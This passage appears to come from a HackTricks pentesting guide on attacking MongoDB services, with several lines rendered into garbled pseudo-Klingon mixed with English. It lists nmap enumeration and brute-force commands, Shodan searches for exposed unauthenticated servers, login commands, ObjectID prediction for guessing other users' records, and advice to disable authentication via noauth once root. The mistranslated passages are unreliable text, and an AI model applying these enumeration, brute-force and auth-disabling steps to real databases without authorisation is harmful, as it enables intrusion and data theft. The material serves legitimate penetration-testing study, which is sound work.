|
||
|
||
#### Ngech
|
||
|
||
Automatic pentesting tools can be used to scan for vulnerabilities in MongoDB databases running on ports 27017 and 27018. These tools automate the process of identifying potential security weaknesses and can save time and effort during a penetration test.
|
||
```bash
|
||
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
|
||
```
|
||
### Shodan
|
||
|
||
* bIng mongodb: `"mongodb server information"`
|
||
* bIng vItlh mongodb server: `"mongodb server information" -"partially enabled"`
|
||
* bIng vItlh partially enable auth: `"mongodb server information" "partially enabled"`
|
||
|
||
## Login
|
||
|
||
mongo jatlh password chImej.\
|
||
**Admin** mongo database vItlh 'oH.
|
||
```bash
|
||
mongo <HOST>
|
||
mongo <HOST>:<PORT>
|
||
mongo <HOST>:<PORT>/<DB>
|
||
mongo <database> -u <username> -p '<password>'
|
||
```
|
||
The nmap script: _**mongodb-brute**_ will check if creds are needed.
|
||
|
||
**Klingon Translation:**
|
||
|
||
_**mongodb-brute**_ nmap script: creds vItlhutlh.
|
||
```bash
|
||
nmap -n -sV --script mongodb-brute -p 27017 <ip>
|
||
```
|
||
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mongo)
|
||
|
||
_ghItlh_/opt/bitnami/mongodb/mongodb.conf_ vItlhutlh _credentials_ vItlhutlh:
|
||
```bash
|
||
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
|
||
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
|
||
```
|
||
## Mongo Objectid Predict
|
||
|
||
Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||
|
||
Mongo Object IDs are **12-byte hexadecimal** strings:
|
||
|
||
![http://techidiocy.com/_id-objectid-in-mongodb/](../.gitbook/assets/id-and-objectids-in-mongodb.png)
|
||
|
||
For example, here’s how we can dissect an actual Object ID returned by an application: 5f2459ac9fa6dc2500314019
|
||
|
||
1. 5f2459ac: 1596217772 in decimal = Friday, 31 July 2020 17:49:32
|
||
2. 9fa6dc: Machine Identifier
|
||
3. 2500: Process ID
|
||
4. 314019: An incremental counter
|
||
|
||
Of the above elements, machine identifier will remain the same for as long as the database is running the same physical/virtual machine. Process ID will only change if the MongoDB process is restarted. Timestamp will be updated every second. The only challenge in guessing Object IDs by simply incrementing the counter and timestamp values, is the fact that Mongo DB generates Object IDs and assigns Object IDs at a system level.
|
||
|
||
The tool [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), given a starting Object ID (you can create an account and get a starting ID), it sends back about 1000 probable Object IDs that could have possibly been assigned to the next objects, so you just need to bruteforce them.
|
||
|
||
## Post
|
||
|
||
If you are root you can **modify** the **mongodb.conf** file so no credentials are needed (_noauth = true_) and **login without credentials**.
|
||
|
||
***
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||
|
||
**Hacking Insights**\
|
||
Engage with content that delves into the thrill and challenges of hacking
|
||
|
||
**Real-Time Hack News**\
|
||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||
|
||
**Latest Announcements**\
|
||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||
|
||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Other ways to support HackTricks:
|
||
|
||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|